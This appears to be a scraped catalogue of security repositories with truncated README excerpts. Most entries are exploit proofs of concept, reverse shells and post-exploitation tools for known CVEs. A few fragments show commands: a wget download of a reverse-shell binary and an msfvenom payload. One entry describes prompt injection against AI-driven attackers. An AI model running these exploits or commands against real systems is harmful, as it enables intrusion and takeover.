CVE-2021-44228-demo

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability. Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others. In this repository there is an example vulnerable...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function Vulnerability CVE-2022-22963 RCE This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function =3.1.6 for 3.1.x and =3.2.2 for 3.2.x Combination of multiple POCs online Author: Randall Banner Date: 17/04/23 Description: Scri...

project_mantis

Project Mantis: Hacking Back the AI-Hacker Prompt Injection as a Defense Against LLM-driven Cyberattacks Install Mantis pip install -r requirements.txt Run Mantis with pre-made configurations Various pre-made configurations are available in the ./confs directory. Hack-back An example of a Mantis...

CVE-2019-0708-POC

CVE-2019-0708-POC Working proof of concept for CVE-2019-0708, spawns remote shell. Run with python3, Example python3 CVE-2019-0708-windows.py Different versions are required for linux and Windows. Obfuscated for obvious reasons...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell Example: sudo apt install nim update the script accordingly nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim python3 -m http.server 8888 wget http://tun0:8888/spoofer-scheduler.exe -o spoofer-scheduler.exe sc.exe stop spoofer-scheduler...

unisoc-su

unisoc-su A method for CVE-2025-31710 and to connect to cmdskt abstract socket to obtain a root shell on unisoc unpatched models Before everyone screams, Unisoc itself authorized me to publish this after CVE-2025-31710 bullettin, so stay quiet. Let's start with a joke Yes, you are not dreaming,...

SMShell

SMShell PoC for an SMS-based shell. Send commands and receive responses over SMS from mobile broadband capable computers. This tool came as an insipiration during a research on eSIM security implications led by Markus Vervier, presented at Offensivecon 2023 Disclaimer This is not a complete C2 bu...

CVE-2026-59310

CVE-2026-59310 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments...

needrestart

needrestart About needrestart checks which daemons need to be restarted after library upgrades. It is inspired by checkrestart from the debian-goodies package. There are some hook scripts in the ex/ directory to be used with apt and dpkg. The scripts will call needrestart after any package...

RSPET

RSPET RSPET Reverse Shell and Post Exploitation Tool is a Python based reverse shell equipped with functionalities that assist in a post exploitation scenario. DISCLAIMER: This software is provided for educational and PenTesting purposes and as a proof of concept. The developers do not endorse,...

routeros-CVE-2018-14847-bytheway

By the Way By the Way is an exploit that enables a root shell on Mikrotik devices running RouterOS versions: Longterm: 6.30.1 - 6.40.7 Stable: 6.29 - 6.42.0 Beta: 6.29rc1 - 6.43rc3 The exploit leverages the path traversal vulnerability CVE-2018-14847 to extract the admin password and create an...

CVE-2022-41544

CVE-2022-41544 Exploit Script This repository contains a script to exploit CVE-2022-41544 vulnerability in GetSimple CMS. The script performs several steps to check for vulnerabilities, leak API keys, set cookies, obtain CSRF tokens, upload a shell, and trigger the shell. Changes and Improvements...

nushell

Nushell A new type of shell. Table of Contents Status Learning About Nu Installation Configuration Philosophy Pipelines Opening files Plugins Goals Officially Supported By Contributing License Status This project has reached a minimum-viable-product level of quality. Many people use it as their...

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE CVE-2007-2447 exploit written in python to get reverse shell...

CVE-2021-4034

Python3 code to exploit CVE-2021-4034 PWNKIT. This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs. The default payload starts a shell as root, generated from msfvenom: msfvenom -p linux/x64/exec -f elf-so...

CVE-2021-29200

CVE-2021-29200 CVE-2021-29200 EXP can successfully get a reverse shell This article and tool are for technical sharing only. Strictly prohibited for illegal use. Any consequences arising from misuse shall be borne by the user. Trigger Command Execution EXP 1. Start RMI listener on VPS port 9999...

CVE-2025-53770-SharePoint-Zero-Day-Variant-Exploited-for-Full-RCE

🚨 CVE‑2025‑53770 – SharePoint Zero-Day Variant Exploited for Full RCE A Critical Escalation from CVE‑2025‑49706 By Aditya Bhatt – Red Team | VAPT 📌 TL;DR CVE‑2025‑53770 is a critical CVSS 9.8 zero-auth RCE vulnerability in Microsoft SharePoint now actively exploited in the wild. This isn’t a...

CVE-2026-53365

CVE-2026-53365 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments...

EvilAbigail

Initrd encrypted root fs attack Scenario Laptop left turned off with FDE turned on Attacker boots from USB/CD/Network Script executes and backdoors initrd User returns to laptop, boots as normal Backdoored initrd loads: Debian/Ubuntu/Kali .so file into /sbin/init on boot, dropping a shell...

CVE-2022-46169

CVE-2022-41343 🐍 Python Exploit for CVE-2022-46169 Staged Reverse Shell for Cacti = 1.2.22 Example cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb Usage usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Shell Callback IP Address/Host port Shell Callback Port options: -...